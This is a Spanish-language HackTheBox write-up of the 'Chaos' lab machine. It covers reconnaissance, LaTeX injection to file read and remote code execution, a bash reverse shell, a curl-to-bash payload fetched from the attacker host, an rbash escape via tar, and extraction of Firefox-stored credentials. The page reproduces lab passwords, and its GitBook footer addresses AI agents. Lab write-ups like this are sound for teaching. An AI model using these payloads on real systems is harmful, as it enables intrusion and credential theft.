> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Análisis de Chaos HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Adivinación de contraseñas * Abuso del servicio de correo electrónico (claws-mail) * Desafío de criptografía (descifrar mensaje secreto - cifrado con AES) * Inyección LaTeX (RCE) * Evasión de rbash (Bash restringido) * Extracción de credenciales del perfil de Firefox {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**Análisis de puertos abiertos con ExtractPorts (**80.110,143.993.995,10000) Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **Explotación** #### **Puerto 80 - Enumeración web** El acceso directo mediante IP está bloqueado. Por lo tanto, añadimos el `chaos.htb` dominio en `/etc/hosts`.

#### **Fuzzing de directorios** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Sin resultados.

**Fuzzing a través de la dirección IP:** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Encontramos una carpeta `/wp` lo que indica WordPress.

Añadir el `wordpress.chaos.htb` subdominio a `/etc/hosts`.

### **Enumeración de WordPress**

Encontramos un `Humano` usuario en WordPress.

### **Adivinación de contraseñas** Un artículo de WordPress contiene una contraseña. Probamos `Humano` y funciona.

Encontramos credenciales para un correo web: * **username**: ayush * **contraseña**: jiujitsu ## **Puerto 993/995 - Correo web** El puerto 993 indica un servidor de correo IMAP.

Usamos `claws-mail` para acceder al buzón de Ayush. ```bash claws-mail ```

En un correo encontramos dos archivos adjuntos y el mensaje: > Hola, Sahay > > Revisa el archivo enmsg.txt. Eres la contraseña XD. También adjunté el script que usé para cifrar. Gracias.

## **Descifrar mensaje secreto - Cifrado con AES**

Identificamos un `decrypt.py` script en GitHub, que pertenece al mismo proyecto

{% embed url="" %} #### Al ejecutarlo: ```bash python3 decrypt.py Introduce el nombre del archivo: ./enim_msg.txt Introduce la contraseña: sahay ``` El contenido se decodifica con `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` El mensaje revela un servicio LaTeX en `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **Hola Sahay,** > > Por favor, descubre nuestro nuevo servicio que crea PDF. > > P.D. – Como me aconsejaste, cifré el mensaje importante. > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **Controles de bloqueo** > > Gracias, **Ayush** > > Gracias, Ayush

## **Vulnerabilidad de inyección LaTeX** ### Inyección de LaTeX (lector de archivos)

Interceptamos la solicitud

#### Documento PDF LaTeX:

Inyectamos: ```latex /input{/etc/passwd} /include{password} ```

### **Explotación de RCE en LaTeX** Ejecutamos un `id` comando mediante: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

#### **Shell inversa** Escuchamos en el puerto 443: ```bash nc -nvlp 443 ``` Creamos un `index.html` script bash: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Lanzamos un servidor web: ```bash python3 -m http.server 80 ``` Inyección de payload: ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

## **Escalada de privilegios** ### **Pivotando al usuario Ayush - Evasión de rbash** Nos conectamos como Ayush, pero estamos limitados a una `rbash` shell.

Lista de comandos disponibles: ```bash compgen -c ``` Encontramos `tar` y evadir `rbash` con:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### Bandera user.txt :) Obtenemos acceso a una shell completa y recuperamos `user.txt`.

## **Extracción de credenciales de Firefox** En el `.mozilla` en la carpeta de Ayush encontramos `key4.db` y `logins.json`.

Los transferimos a nuestra máquina:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

Descifrando IDs con `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` Ingresamos `jiujitsu` como contraseña principal y recuperamos:

> Contraseña principal para el perfil chaos.htb:8080/bzo7sjt1.default > > Sitio web: > > Usuario: 'root' Contraseña: 'Thiv8wrej/\~ Conexión root:

### Bandera root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.